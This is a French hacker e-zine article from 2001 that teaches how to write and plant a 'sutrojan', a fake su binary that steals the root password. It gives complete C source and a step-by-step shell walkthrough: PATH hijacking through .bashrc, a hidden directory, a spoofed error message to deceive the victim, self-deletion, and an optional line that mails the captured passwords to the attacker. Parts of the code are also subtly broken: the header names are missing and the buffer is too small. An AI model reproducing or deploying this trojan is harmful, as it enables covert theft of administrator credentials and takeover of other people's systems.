------------------------------------------------------------------------------------------ III. Sutrojan, concept & programmation par NeoFox ------------------------------------------------------------------------------------------- [ Introduction ] Voici mon tout premier article pour ce tout premier numéro, en espérant qu'il ne soit que le début d'une longue série. C'est aussi la première fois que je prends la plume,( ou le calvier, à vous de voir), pour une publication de ce style. En espérant que vous ayez autant de plaisir à le lire que moi à l'écrire ... [ Here we go ] Cet texte s'adresse à ceux qui désirent comprendre ce que sont les " sutrojans ", comment ils fonctionnent et comment les conçevoir. Aussi ce texte aborde d'une part la théorie, en rapellant le fonctionnement de la commande "SU", et d'autre part la partique, en réalisant le programme étape par étape tout en expliquant les notions de programmations nécessaires. Il s'adresse donc à des gens qui on un minimum de conaissances Unix ( Elites, passez votre chemin ! ) et également quelques bases de programmation C ( pas forcemment sous Unix ). En espérant que vous aprécierez ce texte, bonne lecutre ! [ Sommaire ] Voici en gros comment va se dérouler l'article : Partie I. Le concept -> La commande "SU" : généralités -> Principe des sutrojans Partie II. Programmation -> Les notions utilisées -> supass.c [ Avertissement ] Pas de disclamer dans cette partie, car programmer un sutrojan est parfaitement légal, si tant est que vous ne l'utilisiez pas ailleurs que sur votre propre machine ... Je voulais juste préciser ici que je donne pas un format de sutrojan type, mais juste un exemple de code à partir duquel vous pourez par la suite conçevoir le votre. Partie I : Le concept _____________________ Dans cette première partie, nous allons rapeller le role de la commande "SU" pour en déduire le fonctionnement des sutrojans. On va donc commençer par le commencement. 1) Généralités : ________________ [ La commande su ] Sur une machine unix, chaque utilisateur possède un compte. Ce compte est personnel, est désigné par un Login et protégé par un mot de passe. A chaque compte sont également attribués un identifiant utilisateur apellé "uid" ( USER ID ) et un identifiant du groupe apellé "gid" ( Group ID ). Plus l'uid/gid est faible, plus l'utilisateur se servant de ce compte aura de droits. Il poura modifier certains fichiers alors qu'un utilisateur dont l'uid/gid est inférieur ne le poura pas. Les comptes sont donc hiérarchisés de telle sorte que le compte ayant tout les droits ait l'uid/gid à 0, vous le savez, il s'agit du compte root. Le compte root ne correspond pas à un utilisateur particulier, c'est un compte servant à l'administration du système. Il n'est donc pas utilisé en permanence mais seulement lorsque des opérations particulières doivent être effectuées par le ou les administrateurs et que les comptes classics ne le permettent pas. L'Administrateur peut donc être amené à utiliser le compte root, ce qui implique qu'il doit en connaître le mot de passe. Pour se logger sur le compte root depuis sont compte personnel, il va utiliser la commande " su ". Cette commande siginfie " Subsitute User " et va lui donner un uid 0 et un gid 0. Si l'admin avait voulu prendre l'identité d'un utilisateur, il aurait également utilisé cette commande pour substituer son uid/gid par ceux du compte de l'utilisateur. Le programme su appartient au root et se trouve généralement dans /bin. Lorsqu'un mot de passe lui est soumis, il doit vérifier s'il s'agit du bon, et pour cela vérifier l'entrée correspondante dans /etc/password ou /etc/shadow. Il est donc suid root ce qui signifie qu'il s'exécute avec les privilèges du root. [admin@machine.com]$ cd /bin [admin@machine.com]$ ls -al su -rwsr-xr-x 1 root root 12345 Sept 01 2001 su ^ Notez ici la présence du bit suid. [ Syntaxe ] La syntaxe de su est simple : [admin@machine.com]$ whoami admin [admin@machine.com]$ su Password : [root@machine.com]# whoami root La commande "su" sans argument, demande le compte root et équivaut à " su root ". Vous voyez donc que l'admin doit donner le mot de passe du compte root pour s'y connecter. Il en va de même lorsque su est utilisé pour un autre compte. La commande est alors : [user1@machine.com]$ whoami user1 [user1@machine.com]$ su user2 Password : [user2@machine.com]$ whoami user2 Quand un utilisateur fait un su, il reçoit un prompt " password " lui demandant le mot de passe du compte. Lorsque le mot de passe est entré, il ne s'affiche pas sur l'écran. [ su et sulog ] Lorsqu'une tentative de su est réalisée par un utilisateur, une entrée est généralement ajoutée dans /var/adm/sulog. Ce fichier à les droits suivants : [root@machine.com]# pwd /var/adm [root@machine.com]# ls -al sulog -rw------- root root 90 Sept 01 15:15 sulog [root@machine.com]# On voit donc que seul le root à le droit de lecture/écirture sur ce fichier. [root@machine.com]# cat sulog Sept 11 09:04:27 su: 'su root' succeeded for admin on /dev/ttyp4 (1) Sept 11 09:52:58 su: 'su root' failed for user on /dev/ttyp3 (2) [root@machine.com]# On voit également son contenu : lorsque le su à réussi, autrement dit lorsque l'utilisateur qui a voulu utiliser le compte root en avait le mot de passe, l'entrée n°1 est ajoutée à ce fichier. Si l'utilisateur n'a pas le pass et qu'il essaye un mot au hasard, qui n'est pas le bon, il reçoit un message d'erreur : [user@machine.com]# su Password : su : incorrect password [user@machine.com]# C'est alors l'entrée n°2 qui est ajoutée au sulog. L'administrateur peut donc voir qui a essayé de se logger sur le compte root sans y être invité. A noter que les entrées du ficher sulog ainsi que sa localisation peuvent changer. [ History ] Si nous voulons le mot de passe du compte root, il faut donc savoir si l'utilisateur dont nous utilisons le compte connait le mot de passe désiré. On va vérifier le contenu du fichier qui contient l'history du shell. Si on voit qu'il a déja fait un su auparavant, cela signifie qu'il connait le mot de passe et qu'il se loggera surement en root à l'avenir. Cet utilisateur est une cible potentielle. Il faudra attendre qu'il fasse à nouveau un "su" et en profiter pour enregistrer son mot de passe. [ L'objectif ] Logiquement, ce qui vous intéresse à terme, c'est d'avoir un accès en tant que root, sur la machine et tant qu'à faire, avoir son mot de passe. L'administrateur, ou un utilisateur accrédité, utilise "su" pour se connecter au compte root : il en connait le mot de passe, c'est un fait. Comme cette personne ne va pas pas vous le donner de bon coeur, eh bien, si vous le voulez, il va falloir aller le chercher. C'est là qu'intervient le sutrojan. 2) Le principe : ________________ Pour saisir le mot de passe au moment où l'utilisateur fera un "su", il nous faut créer un programme qui se lançera à l'insu de l'utilisteur et à la place du porgramme réel. Il doit simuler un prompt, enregistrer le mot de passe dans un fichier, puis se supprimer de lui-même pour laisser place au vrai su. Un problème majeur se pose : arriver à faire exécuter notre programme à l'insu de l'utilisateur conçerné ... [ La variable PATH ] Voyons comment se lançe un programme classic : Disons qu'un exécutable 'test' se trouve dans /usr/local/bin/. Lorsque la commande 'test' est entrée, le shell va examiner le contenu d'une variable d'environement pour savoir dans quels répertoires chercher l'exécutable à lançer. Il s'agit de la variable PATH. Elle ressemble à ça : [user@machine.com]$ $PATH /bin:/sbin:/usr/bin/:/usr/local/bin: PATH est donc une suite de répertoires séparés par des : . Lorsque 'test' est entré au prompt, le shell regrade la variable PATH et commençe à chercher l'exécutable 'test' tout dabord dans /bin puis dans /sbin ainsi de suite jusqu'à touver l'exécutable 'test' dans /usr/local/bin. Si un autre programme du même nom ('test') se situe dans /usr/bin par exemple, ce sera lui qui sera lançé et non celui de /usr/local/bin car dans la variable PATH, le répertoire /usr/bin se trouve situé avant /usr/local/bin . Le shell exécutera en effet le premier exécutable nommé 'test' qu'il trouvera. De la même manière ,pour lançer "su" qui se situe dans /bin, le shell va examiner de la variable PATH. Il va donc chercher en premier dans /bin, et trouvera directement l'exécutable. Sachant que le vrai 'su' se trouve dans /bin, pour qu'un autre programme soit lançé à sa place, il faudrait qu'il porte le même nom, en l'occurence 'su' et que le PATH soit modifié de façon à ce que le shell cherche en premier dans l e répertoire où se siuterait le faux su, avant de chercher dans /bin. Là aussi, le shell lançera le premier exécutable nommé "su" qu'il aura trouvé en fouillant les répertoires mentionnés dans le PATH. [ Fichiers de configuraion ] La variable PATH est générée par le fichier de configuration du shell. Si le shell est /bin/bash, le fichier de configuration sera apellé .bash_profile ou .bashrc . Si on utilise sh, ce fichier sera .sh_profile, pour csh ce sera .cshrc . Le ficher peut encore porter le nom de .profile. Bref, il faudra modifier le contenu de ce fichier pour spécifier au shell de chercher le programme en premier dans le répertoire désiré. Dans la pratique, nous allons apeller notre sutrojan 'su' et le dissimuler dans un répertoire caché dans le homedir de l'utilisateur. Ce répertoire sera apellé .term et il se situera donc dans $HOME/.term . A noter au passage que la variable $HOME généree elle aussi par le fichier de configuration du shell. Voici un exemple de fichier de configuration : [user@cible.com]$ cat .profile # .profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environement and startup programs PATH=/usr/local/bin:/bin HOME=/home/user USERNAME="" [user@cible.com]$ Ici, on voit clairement la ligne du fichier .profile qui définit la variable PATH. Pour modifier le fichier de configuration du shell de manière à ce qu'un nouveau PATH soit pris en compte, il faut éditer le fichier avec vi ou pico. Dans ce cas, supposons que nous voulions faire exécuter notre sutrojan qui se cache dans $HOME/.term, il faudra alors modifier le fichier de configuration comme suit : [user@cible.com]$ vi .profile # .profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environement and startup programs PATH=$HOME/.term:/usr/local/bin:/bin <- ! HOME=/home/user USERNAME="" ~ ~ ~ ~ ".profile" 15 L, 230C [user@cible.com]$ Avec vi, nous venons de modifier le PATH dans le fichier .profile de manière à ce que le shell cherche les exécutables à lançer en premier dans le dossier caché .term. La nouvelle variable $PATH n'est encore pas en vigueur mais sera générée selon nos modifications par le .profile lorsque l'utilisateur ouvriera un shell à la prochaine session. Seulement il arrive que les éditeurs soient inutilisables pour diverses raisons. Dans ce cas vous devez donc recourrir à la commande echo pour plaçer la nouvelle ligne dans le fichier. Cette ligne devra être plaçée AVANT l'ancienne sinon les modifications n'auront aucun effet sur le contenu de la variable $PATH. Une solution dans ce cas est de renommer le .profile en .old, puis de créer un nouveau .profile avec notre PATH à nous, et enfin, d'y copier le contenu du .old ( l'ancien .profile ). Cela aura pour effet de mettre notre PATH en premiere position pour qu'il soit actif tout en sauvegrandant le contenu du fichier original. Cela donne donc : [user@cible.com]$ mv .profile .old [user@cible.com]$ echo "PATH=$HOME/.term:$PATH" > .profile [user@cible.com]$ cat .old >> .profile [user@cible.com]$ rm .old [user@cible.com]$ cat .profile PATH=/home/user:/usr/local/bin:/bin # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environement and startup programs ATH=/usr/local/bin:/bin -> L'ancien PATH n'a plus d'effet. HOME=/home/user USERNAME="" [user@cible.com]$ Voila, on sait maintenant comment modifier le PATH de manière à ce que le shell lançe notre exécutable que nous aurons nommé 'su' à la place de l'original. [ Le log du sutrojan ] Notre programme devra enregistrer le mot de passe dans un fichier d'un répertoire peu fréquenté ou dans lequel il passera inaperçu. Ce fichier devra donc être un fichier caché. Il devra pouvoir être crée avec les droits de l'utilisateur. Il faudra donc le créer dans un répertoire word-writable. Je propose de le mettre dans /tmp et de l'apeller .tmplog . Notre programme stockera donc le mot de passe dans /tmp/.tmplog . [ Le message d'erreur ] Lorsque l'utilisateur fera un 'su', il pensera accéder au compte root. Or notre faux programme ne pourra pas le lui donner ... logique. Pour qu'il ne se doute de rien il va donc falloir lui faire croire qu'il a fait une faute de frappe et tapant le mot de passe et donc que l'accés au compte lui a été refusé. Lorsqu'un mot de passe erroné est donné au vrai su, celui-ci retourne, nous l'avons vu, le message d'erreur " su : incorrect password ". Le programme devra donc générer ce même message aprés avoir loggé le mot de passe. Pour que l'utilisateur ne se doute toujours de rien, il faut bien qu'il finisse par accéder au compte désiré et donc qu'il exécute le vrai su. Notre programme devra donc se supprimer de lui-même. De cette façon, il ne sera plus présent dans le premier répertoire dans lequel le shell va fouiller, et par défaut, c'est le vrai su qui sera exécuté. [ L'installation ] Nous avons téléchargé un sutrojan depuis notre ftp. Il se trouve à présent dans le homedir de la cible. Dans cet exemple, le sutrojan s'apelle supass.c . [user@cible.com]$ ls -al total 3 drwxr-xr-- 3 user group 500 Sept 01 15:15 . drwxr-xr-- 50 root root 12934 Jan 04 00:19 .. -rw------- 1 user group 24 Sept 01 15:17 .history -rw------- 1 user group 12 Sept 01 15:15 .bash_profile -rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc -rw-r--r-- 1 user group 405 Mar 02 1999 hello -rw-r--r-- 1 user group 1203 Sept 01 15:16 supass.c [user@cible.com]$ history 500 mail user2 501 vi userdoc 502 su 503 exit 504 ftp moncompte.com 505 ls -al 506 history [user@cible.com]$ gcc supass.c -o su [user@cible.com]$ chmod +x su [user@cible.com]$ rm supass.c [user@cible.com]$ mkdir .term [user@cible.com]$ mv su .term [user@cible.com]$ls -al total 3 drwxr-xr-- 3 user group 500 Sept 01 15:15 . drwxr-xr-- 50 root root 12934 Jan 04 00:19 .. -rw------- 1 user group 24 Sept 01 15:14 .history -rw------- 1 user group 12 Sept 01 15:12 .bash_profile drw------- 1 user group 1203 Sept 01 15:15 .term -rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc -rw-r--r-- 1 user group 405 Mar 02 1999 hello [user@cible.com]$ls -al total 3 drwxr-xr-- 3 user group 500 Sept 01 15:15 . drwxr-xr-- 50 root root 12934 Jan 04 00:19 .. -rw------- 1 user group 24 Sept 01 15:14 .history -rw------- 1 user group 12 Sept 01 15:15 .bash_profile -rw------- 1 user group 12 Sept 01 15:15 .bashrc drw------- 1 user group 1203 Sept 01 15:15 .term -rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc -rw-r--r-- 1 user group 405 Mar 02 1999 hello [user@cible.com]$ echo $PATH /bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin: [user@cible.com]$ mv .bashrc .old [user@cible.com]$ echo " PATH=$HOME/.term:$PATH " > .bashrc [user@cible.com]$ cat .old >> .bashrc [user@cible.com]$ rm .old [user@cible.com]$ cd .term [user@cible.com]$ pwd /home/usr/.term [user@cible.com]$ ls -al su total 1 -rwxr-xr-x 1 user group 200 Sept 01 15:17 su [user@cible.com]$ exit Voila, vous savez comment plaçer le faux 'su' dans un répertoire caché du homedir. Sa position est donc /home/user/.term/su ou $HOME/.term/su. Le mot de passe sera enregistré dans /tmp/.tmplog. Vous savez aussi comment modifier le contenu de la variable PATH. Dans cet exemple, lorsque l'utilisateur va taper 'su', le shell /bin/bash va regarder la variable PATH. Cette dernière lui dit de chercher en premier un exécutable nommé 'su' dans /home/user/.term . C'est donc le notre qui va être lançé en premier. [ Quand "user" voudra passer root ... ] Une fois le programme installé, nous partons. L'utilisateur "user" vient sur son compte quelques jours plutard. Lorsqu'il veut faire un su, Voici ce qui se passe : [user@machine.com]$ ls userdoc hello -> rien n'a bougé, mes fichiers sont là ... [user@machine.com]$ su Password : su : incorrect password -> tien, mauvais pass ... ... je réessaye ... [user@machine.com]$ su Password : [root@machine.com]# -> non, c'est bon, tout va bien, j'avais du faire une faute de frappe. Seulement voila, un fichier ".tmplog" contenant le mot de passe a été crée dans /tmp, et le sutrojan s'est supprimé de lui-même. Bien, mainenant que nous avons vu l'aspect théorique du sutrojan et la façon dont il peut être employé, il est temps de penser à la manière de le programmer. Partie II : La programmation _____________________________ A ce stade, on connait exactement le fonctionnement d'un sutrojan. Nous allons voir les notions de programmation dont nous avons besion en fonction de ce l'effet souhaité. [ Effet souhaité ] Nous voulons un programme : - qui se lançe à l'insu de l'utilisateur ( ça on sait faire ... ) - qui simule un prompt de password - qui capture le mot de passe sans que celui ci ne s'affiche à l'écran - qui crée un fichier /tmp/.tmplog - qui enregistre le mot de passe dans ce fichier - qui simule une erreur de frappe - enfin, qui se supprime de lui même Le langage utilisé sera le C ... [ Notions de programmation en C à connaître ] Voici les points clés que nous allons détailler : - Fonction "getpass()" - Entrées/sorties standard - Ouverture/fermeture de fichiers - Ecriture dans un fichier On va donc voir tout ça un par un ... 1) Les Notions à Utiliser : ___________________________ [ La fonction "getpass()" ] Nous voulons que notre programme simule un prompt où l'utilisateur entrera son mot de passe. On pense desuite à un truc du genre : printf("\nPassword : "); scanf("%s",&saisie); Mais voila, lors d'un vrai su, le mot de passe entré ne s'affiche pas sur l'écran. Or si l'on utilise la fonction scanf, le mot de passe va s'affichier et l'utilisateur pourait se douter de quelque chose. Il faut donc utiliser une autre fonction pour arriver à nos fins. La fonction idéale est getpass(). Elle est contenu dans le header . Voici sa sysntaxe : #include void main () { char *variable; variable=(char *) getpass("Password: "); } Personellement, je préfère : #include main() { char *variable; char *getpass(); variable=getpass("Password: "); } Libre à vous de choisir la votre ... de tout façon, ça revient au même ! Cette fonction saisie donc le mot de passe depuis le clavier avant qu'il ne s'affiche, puis le plaçe dans une variable. [ Entrée/sorties standards ] Lorsqu'un programme est exécuté, 5 fichiers de périphériques s'ouvrent : - Entrée Standard ( standard input ) - Sortie Standard ( standard output ) - Sortie d'Erreur ( error output ) - Fichier auxiliaire - Imprimante Standard ( standard printer ) L'entrée standard est le clavier, la sortie standard est l'écran, la sortie standard pour les erreurs est généralement l'écran, le fichier auxiliaire est prévu pour les opérations d'entrées/sorties via un port série, et l'imprimante standard est ... ... ben, l'imprimante . Le header ( STanDard Input/Output ) définit pour chacun un pointeur de type *FILE. Les pointeurs sont : - stdin ( standard input ) qui est rattaché à l'entrée standard ( clavier ) - stdout ( standard output ) qui désigne la sortie standard ( par défaut, l'écran ) - stderr ( error output ) qui désigne la sortie d'erreur ( par défaut l'écran ) - stdaux - stdlpr Chaque pointeur est donc rattaché au périphérique correspondant. Ceux qui vont nous intéresser sont les 3 premiers. [ Redirection d'entrées/sorties ] L'entrée standard est le clavier et la sortie standard est l'ecran ... On peut avoir cependant vouloir saisir un texte au clavier et l'enregristrer dans un fichier. La sortie serait à ce moment là le fichier. C'est ce qu'on apelle une redirection de sortie. On peut vouloir aussi que le programme puisse lire un texte depuis un fichier et l'afficher à l'écran. Dans ce cas, l'entrée est le fichier et la sortie, l'écran. C'est ce qu'on apelle une redirection d'entrée. Pour rediriger une entrée/sortie, il faut en premier lieu fermer l'entrée ou la sortie standard. L'entrée standard se ferme par l'instruction : "close(0);" La sortie standart se ferme par l'instruction : "close(1);" La sortie d'erreurs se ferme par l'instruction : "close(2);" Pour notre sutrojan, nous avons besoin que le mot de passe s'enregistre dans un fichier. La sortie sera à ce moment là le fichier. Nous devrons donc faire une redirection de sortie. La fonction printf() affiche du texte sur la sortie standard. Si on ferme la sortie standard par "close(1);" elle n'affichera rien sur l'écran. Pour que le texte s'affiche sur une autre sortie, ici un fichier, il faut dans un premier temps fermer la sortie standard par close(1); puis ouvrir un fichier en écriture qui sera concidéré comme la nouvelle sortie. Une fois la sortie standard fermée et le fichier crée, tout les instruction printf(), putc(); etc ... afficheront leur texte directement dans le fichier. La fonction printf(); affiche par défaut son texte sur la sortie standard (stdout). On peut vouloir que le texte s'affiche sur une autre sortie que la sortie standard, si par exemple cette dernière est fermée. On peut donc demander au programme de faire afficher du texte directement sur la sortie d'erreur (stderr). Il faut pour cela faire appel à la fonction fprintf(); . La fonction fprintf(); permet l'écriture formatée dans un fichier. Elle permet donc l'écriture dans un fichier de périphérique de sortie. On l'utilisera ici pour diriger l'affichage du texte dans le fichier de sortie d'erreur ( stderr ) qui sera toujours ouverte lorsque la sortie standard sera fermée. Cela donnera : fprintf(stderr, "texte"); [ Création de fichiers ] Pour sotcker le mot de passe, un fichier caché ( nous avons convenu de /tmp/.tmplog ) doit être crée. On utilise pour cela la fonction open(); Sa syntaxe est : open (char *filename, int flags); Les flags sont les options de la fonction open qui correspondent au différents modes d'ouverture : création du fichier s'il n'existait pas, ouverture en mode lecture, en mode ecriture ou en mode ajout. On peut également préciser les droits du futur fichier. Les flags sont les suivants : O_CREAT : création. Le fichier est crée s'il n'existait pas. O_RDONLY : read only. Ouverture en mode lecture. O_WRONLY : write only. Ouverture en mode écriture. O_APPEND : Ouverture en mode ajout. Si le fichier contient déja du texte, le texte saisi sera ajouté à la suite. Nous voulons donc créer un fichier ouvert en mode écriture et ajout ( car le fichier de log peut servir pour stocker plusieurs mots de passe de plusieurs sutrojans ). On veut aussi qu'il soit -rw-rw-rw- ce qui correspond à un mode 0666. On va donc utiliser : open (FILE, O_CERAT | O_WRONLY | O_APPEND, 0666); Ici, char *filename est un pointeur de type char qui pointe vers une constant définit par : #define FILENAME "/tmp/.tmplog" La constante FILENAME peut tout aussi bien être nommée différemment. Dans le code source de la prochaine partie, je l'ai apellée PASSLOG. Voila pour ce qui est de la création d'un fichier. Lorsque la sortie standard sera fermée et ce fichier ouvert, les* fonctions printf afficheront du texte en direction de la nouvelle sortie qui sera justement ce fichier. Une fois le fichier crée et le mot de passe enregistrer, le programme devra faire croire à une erreur de frappe puis se supprimer de lui-même. [ Suppression automatique ] Pour se supprimer tout seul, le programme doit auto-exécuter une commande de suppression. Comme la commande "rm" seule peut demande confirmation, on va utiliser l'option "-f" pour forçer la suppression. La commande sera donc "rm -f". Nous allons écrire la commande dans un buffer à l'aide de la fonction sprintf(); et exécuter ensuite ce buffer grâce à la commande system(); . - La fonction sprintf(); permet d'écrire dans un buffer. Elle est définie dans et sa syntaxe est : sprintf (char *buffer, const char *format, ... ); - Contenue dans , la fonction system(); permet d'exécuter une commande contenue dans un buffer. Elle apelle pour cela " /bin/sh -c ". L'option "-c" utilisée lorsque la fonction system(); invoque le shell, permet de spécifier au shell une commande précise à exécuter. La syntaxe de la fonction system(); est : system("commande"); ou system(buffer); La fonction main(); de notre programme sera apellée par : int main ( int argc, char *argv[] ) Ici, "argc" désignera le nombre d'arguments de la ligne de commande, argv[0], le programme lui même comme premier argument et argv[1] le second argument. Donc si le programme est apellé par " ./su user " : argv[0]="su" argv[1]="user" Si le sutrojan est installé dans $HOME/.term voici comment le faire se supprimer de lui-même : char buffer [20]; sprintf(buffer, "rm -f $HOME/.term/%s", argv[0]); system(buffer); [ Sortie du programme ] Une fois la commande de supression prête à être exécutée par le shell, le programme se termine par la fonction "exit();". Voila, nous venons de voir les grandes étapes de la programmation d'un sutrojan. Tous les sutrojans ne sont cependant pas identiques, et on peut ajouter certaines options, je pense par exemple à un truc du style de : # define FILENAME "/tmp/.tmplog" # define MAIL "yourmail@chezquivousvoulez.com" char buffer2 [20]; sprintf(buffer, "/bin/mail %s < %s", MAIL, FILENAME); system(buffer); ce qui aura pour effet de vous envoyer le contenu du ficher de log par mail. Bien, maintenant qu'on a toutes les notions, on va programmer la bête ... 2) supass.c : _____________ Voici le code source de notre sutrojan une fois terminé. Ce n'est qu'une version basique mais elle est suffisante pour ce à quoi on la destine. -------------8<--- cut here -------------------------------------------------------------- /* supass.c by NeoFøx - © 2001 [IOC] - */ #include /* pritnf, fprintf, sprintf */ #include /* open */ #include /* system, exit */ #include /* getpass */ #define PASSLOG "/tmp/.tmplog " /* log file */ char *saisie; char *getpass(); char buffer [20]; main ( int argc, char *argv[] ) { /* saisie du mot de passe */ saisie=getpass("Password: "); /* fermeture sortie standard */ close(1); /* ouverture du fichier */ open( PASSLOG, O_CREAT | O_WRONLY | O_APPEND, 0666 ); /* ecriture dans le fichier */ printf("Login : %s\t", argv[1]); printf("Pass : %s\n",saisie); /* message d'erreur */ fprintf(stderr, "su : incorrect password\n"); /* supression */ sprintf(buffer,"rm -f $HOME/.term/%s", argv[0]); system(buffer); exit(1); } -------------8<--- cut here -------------------------------------------------------------- [ Conclusion ] J'espère que vous aurez appris quelquechose en lisant ce petit article. Si vous avez des questions, des remarques, des suggestions, des conseils ou un billet de 500 balles à me donner, vous pouvez m'écrire à neo_fox_2001@hotmail.com.